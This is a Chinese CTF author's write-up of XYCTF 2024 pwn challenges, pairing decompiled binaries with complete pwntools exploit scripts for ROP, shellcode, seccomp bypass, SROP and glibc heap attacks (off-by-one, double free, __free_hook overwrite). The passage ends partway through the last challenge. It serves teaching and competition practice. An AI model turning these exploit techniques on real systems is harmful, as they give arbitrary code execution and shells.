nyyyddddn

xyctf

2024/08/31

题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn

前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题

hello_world(签到)

在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget

程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[20]; // [rsp+0h] [rbp-20h] BYREF

init();
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
return 0;
}

程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 36241

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b'a' * 0x28

time.sleep(0.3)
# g(p)
s(payload)

ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139

payload = b'b' * 0x28
payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret)+ p64(system)

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

Intermittent

程序的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+0h] [rbp-120h]
void (*v5)(void); // [rsp+8h] [rbp-118h]
_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == (void (*)(void))-1LL )
{
puts("ERROR");
return 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
*((_DWORD *)v5 + 4 * i) = buf[i];
v5();
return 0;
}
}

有三次输入的机会,输入完后会执行输入的shellcode,但是三次输入的地址都不连续,中间有大量的00字段阻碍shellcode的执行,同时长度也不够getshell,所以需要找到连接三段shellcode的方法 以及syscall read一次

这时候有两种思路,第一种是利用相对偏移跳转/相对偏移call去连接三段shellcode,第二种是,阻碍shellcode的原因是因为解引用错误导致程序崩溃,\x00\x00 对应 add byte ptr [rax], al,只需要将rax修改成一个正确的地址,就可以绕过中间这段00数据

第一种思路的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "192.168.37.193"
PORT = 63188

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def generate_jmp(offset):
return b'\xE8' + p8(offset)
# call offset

payload = asm('''
xor eax,eax
''') + generate_jmp(9)

payload += asm('''
push rdx
pop rsi
''') + generate_jmp(9)

payload += asm('''
syscall
''')

print(len(payload))

time.sleep(0.3)
# g(p)
# ru("show your magic: ")
s(payload)

shellcode = asm('nop') * 0x80
shellcode += asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
time.sleep(0.3)
# g(p)
s(shellcode)


p.interactive()

第二种思路的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = 'debug'

p = process('./vuln')
# p = remote("121.62.23.53",32894)
# 利用 \x00\x00 对应 add byte ptr [rax], al
# 所以把rax设置为0x114514000这个地址后就可以正常运行\x00\x00
'''
push rdx
pop rax
push rbx
pop rdi

push rdx
pop rsi
push rdx
pop rsi # 对齐4字节

push rbx
pop rax
syscall
'''
payload = [b'RXS_', b'R^R^', b'SX\x0f\x05']
p.sendline(b''.join(payload))

"""
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
push 0
pop rsi
push 0
pop rdx
push 0x3b
pop rax
syscall
"""
payload = (b'\0' * 12).join(payload) + b'H\xb8/bin/sh\x00PT_j\x00^j\x00Zj;X\x0f\x05'
pause()
p.sendline(payload)
p.interactive()

invisible_flag

程序的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]

init();
addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
((void (*)(void))addr)();
return 0;
}
}

seccomp的规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

open read write被禁用了,需要找能替代这三个系统调用的方法,最简单的做法是用openat去替代open,然后用sendfile去代替read和write将flag读出来,或者是其他系统调用,或者是用侧信道 + 二分法把flag爆破出来

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 58483

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# 257 openat(0xffffff9c,flag_str_addr_,0)
# 40 sendfile(1,3,0,0x50)

payload = asm('''
mov eax,257
mov edi,0xffffff9c
mov rsi,0x114514060
xor edx,edx
syscall

mov eax,40
mov edi,1
mov esi,3
xor edx,edx
mov r10,0x50
syscall

''')

payload = payload.ljust(0x60,b'\x00')
payload += b'flag\x00\x00'

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

静态链接的程序,没有system函数 没有binsh字符,可以用ret2syscall,syscall read把binsh写到一个已知地址的内存段里,然后再调用execve拿shell

1
2
3
4
5
6
7
__int64 vuln()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF

puts("static_link? ret2??");
return read(0LL, v1, 256LL);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33160

elf = context.binary = ELF('./vuln')

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

bss = 0x4c5000
rdi = 0x0000000000401f1f # pop rdi ; ret
rsi = 0x0000000000409f8e # pop rsi ; ret
rdx = 0x0000000000451322 # pop rdx ; ret
rax = 0x0000000000447fe7 # pop rax ; ret
syscall = 0x0000000000401cd4

read = 0x447580

payload = flat([
b'a' * (0x20 + 0x8),
rdi,0,rsi,bss,rdx,0x100,read,
rdi,bss,rsi,0,rdx,0,rax,0x3b,syscall
])

# g(p)
sla("static_link? ret2??\n",payload)

time.sleep(0.3)
sl(b'/bin/sh\x00\x00')

p.interactive()

fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}

scanf和printf不同的地方是,scanf并不能通过 %n$p 这个表达式实现任意地址的泄露,但是任意地址写是可以实现的,glibc 2.31 在有libc地址的情况下可以打exit_hook为backdoor 或者one gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "192.168.37.193"
PORT = 56046

elf = context.binary = ELF('./vuln')
libc = elf.libc
ld = ELF("./ld-2.31.so")

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("gift: ")
leak_addr = rl()[:-1]
libc_base = int(leak_addr,16) - libc.sym['printf']
ld_base = libc_base + (0x7ff17ca54000 - 0x7ff17c860000)
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
success(hex(ld_base))
backdoor = 0x4012BE

s(b"%7$ldaaa" + p64(_dl_rtld_lock_recursive))
# g(p)
sl(str(backdoor))

p.interactive()

simple_srop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}

__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return sandbox();
}

.text:000000000040128E public rt_sigreturn
.text:000000000040128E rt_sigreturn proc near
.text:000000000040128E ; __unwind {
.text:000000000040128E F3 0F 1E FA endbr64
.text:0000000000401292 55 push rbp
.text:0000000000401293 48 89 E5 mov rbp, rsp
.text:0000000000401296 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:000000000040129D 0F 05 syscall ; LINUX - sys_rt_sigreturn
.text:000000000040129F C3 retn

Srop + orw, 首先先调用一次signal return布置新栈,栈迁移到一个已知的地址,然后打signal return三次打orw就好了,或者是mprotect变成shellcode版本的orw,这样操作会少一些

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 39413

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# .text:0000000000401296 48 C7 C0 0F 00 00 00 mov rax, 0Fh
# .text:000000000040129D 0F 05 syscall ; LINUX - sys_rt_sigreturn
# .text:000000000040129F C3 retn

signal_return = 0x401296
syscall = 0x40129D

bss = 0x404000

payload = b'a' * 0x28
payload += p64(signal_return)

# syscall read 栈迁移 rop
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x500
sigframe.rsp = bss
sigframe.rip = syscall
payload += bytes(sigframe)
s(payload)

# syscall mprotect
payload = p64(signal_return)
sigframe = SigreturnFrame()
sigframe.rax = 10
sigframe.rdi = bss
sigframe.rsi = 0x1000
sigframe.rdx = 7
sigframe.rsp = bss + 0x158
sigframe.rip = syscall
payload += bytes(sigframe)

payload = payload.ljust(0x150,b'a')
payload += b'./flag\x00\x00' # 0x404150
payload += p64(0x404160) # 0x404158

payload += asm('''
mov rax,2
mov rdi,0x404150
mov rsi,0
syscall

mov rax,0
mov rdi,3
mov rsi,0x404000
mov rdx,0x40
syscall

mov rax,1
mov rdi,1
mov rsi,0x404000
mov rdx,0x40
syscall
''')

time.sleep(0.5)
s(payload)

p.interactive()

one_byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 4:
edit_chunk();
break;
case 5:
puts("[-] exit()");
exit(0);
default:
puts("[-] Error choice!");
break;
}
}
}

unsigned __int64 delete_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf(&unk_2004, &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( *((_QWORD *)&chunk_list + v1) )
{
free(*((void **)&chunk_list + v1));
inused_list[v1] = 0;
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 view_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf(&unk_2004, &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( *((_QWORD *)&chunk_list + v1) )
write(1, *((const void **)&chunk_list + v1), size_list[v1]);
else
puts("[-] No such chunk!");
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf(&unk_2004, &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( chunk_list[v1] )
read_data(chunk_list[v1], size_list[v1]);
else
puts("[-] No such chunk!");
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}

ssize_t __fastcall read_data(void *a1, int a2)
{
return read(0, a1, (unsigned int)(a2 + 1));
}

glibc 2.31,泄露libc地址的方式有很多,read_data中存在一个单字节的溢出,可以覆盖相邻堆块的size位一个字节,off by one漏洞,可以通过切分unsortedbin的方式,利用残留地址去泄露libc,或者是large bin残留的指针,也可以构造堆叠的方式去泄露,然后任意地址申请的原语可以通过double free去申请,也可以通过堆叠去实现 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33158

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def add(idx,size):
sla(">>> ","1")
sla("[?] please input chunk_idx: ",str(idx))
sla("[?] Enter chunk size: ",str(size))


def delete(idx):
sla(">>> ","2")
sla("[?] please input chunk_idx: ",str(idx))

def view(idx):
sla(">>> ","3")
sla("[?] please input chunk_idx: ",str(idx))

def edit(idx,content):
sla(">>> ","4")
sla("[?] please input chunk_idx: ",str(idx))
s(content)


p = connect()

for i in range(7):
add(i,0x80)

add(7,0x28) # overflow
add(8,0x28) # heap overlap
add(9,0x80) # heap overlap
add(10,0x28)

for i in range(7):
delete(i)

edit(7,b'A' * 0x28 + p8(0x61))
delete(8)
add(8,0x58) # heap overlap success

delete(9) # unsortedbin
view(8) # leak main_arena addr


ru(b'\x91')
r(7)
libc_base = u64(r(8)) - (0x7b7939032be0 - 0x7b7938e46000)
success(f"libc_base -> {hex(libc_base)}")
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(11,0x38)
add(12,0x38) # heapoverlap
add(13,0x38) # heapoverlap
add(14,0x38)

edit(11,b"B" * 0x38 + p8(0xf1))
delete(12)
add(12,0xe8)

delete(14)
edit(13,b's' * 0x20)
delete(13)

# g(p)

# tcache poison
edit(12,b'g' * 0x78 + p64(0x41) + p64(free_hook))

add(15,0x38)
add(16,0x38)
edit(16,p64(system))
edit(15,b'/bin/sh\x00\x00')

delete(15)


p.interactive()

fastfastfast

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &choice);
if ( choice != 1 )
break;
create();
}
if ( choice == 2 )
{
delete();
}
else
{
if ( choice != 3 )
{
puts("Error choice");
exit(0);
}
show();
}
}
}

void __cdecl create()
{
unsigned int v0; // ebx
unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-18h]

v2 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
{
v0 = idx;
note_addr[v0] = malloc(0x68uLL);
puts("please input content");
read(0, note_addr[idx], 0x68uLL);
}
else
{
puts("idx error");
}
}

void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
free(note_addr[idx]);
else
puts("idx error");
}

void __cdecl show()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
{
if ( note_addr[idx] )
write(1, note_addr[idx], 0x68uLL);
else
puts("note is null");
}
else
{
puts("idx error");
}
}

glibc 2.31,通过fastbin double free去写free hook为system然后 free一个binsh的堆就可以getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33164

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create(idx,context):
sla(">>> ","1")
sla("please input note idx",str(idx))
sa("please input content",context)

def delete(idx):
sla(">>> ","2")
sla("please input note idx",str(idx))

def show(idx):
sla(">>> ","3")
sla("please input note idx",str(idx))


p = connect()


for i in range(7):
create(i,"AAAA")

create(7,"BBBB")
create(8,"BBBB")

# 0 - 6 tcache
for i in range(7):
delete(i)

# double free
delete(7)
delete(8)
delete(7)

for i in range(7):
create(i,"AAAA")

# bss addr
target = 0x404120
puts_got = elf.got['puts']

# double free
create(7,p64(target))
create(8,"BBBB")
create(7,"BBBB")

create(7,b"aaaaaaaa" + p64(puts_got))


# pwndbg> x /100gx &note_addr
# 0x4040c0 <note_addr>: 0x0000000001325540 0x00000000013254d0
# 0x4040d0 <note_addr+16>: 0x0000000001325460 0x00000000013253f0
# 0x4040e0 <note_addr+32>: 0x0000000001325380 0x0000000001325310
# 0x4040f0 <note_addr+48>: 0x00000000013252a0 0x0000000000404120
# 0x404100 <note_addr+64>: 0x0000000001325620 0x0000000000000000
# 0x404110 <note_addr+80>: 0x0000000000000000 0x0000000000000000
# 0x404120 <note_addr+96>: 0x6161616161616161 0x0000000000404020
# 0x404130 <note_addr+112>: 0x0000000000000000 0x0000000000000000

show(13)
rl()

libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
# libc_base = r_leak_libc_64() - libc.sym['puts']
success(hex(libc_base))
# g(p)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

for i in range(7):
create(i,"AAAA")

create(7,"BBBB")
create(8,"BBBB")

for i in range(7):
delete(i)

delete(7)
delete(8)
delete(7)

for i in range(7):
create(i,"AAAA")

create(7,p64(free_hook))
create(8,b"/bin/sh")
create(7,"BBBB")
create(7,p64(system))


delete(8)



# g(p)

p.interactive()

ptmalloc2 it’s myheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 114514:
_();
break;
default:
puts("[-] exit()");
exit(0);
}
}
}

__int64 _()
{
printf("this is a gift: %p\n", &puts);
return gift(hello_world);
}

unsigned __int64 view_chunk()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
if ( *((_QWORD *)&chunk_list + v1) )
{
if ( *(_QWORD *)(*((_QWORD *)&chunk_list + v1) + 8LL) )
write(1, *(const void **)(*((_QWORD *)&chunk_list + v1) + 16LL), **((_QWORD **)&chunk_list + v1));
else
puts("[-] Chunk is not used!");
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v2 - __readfsqword(0x28u);
}

unsigned __int64 delete_chunk()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

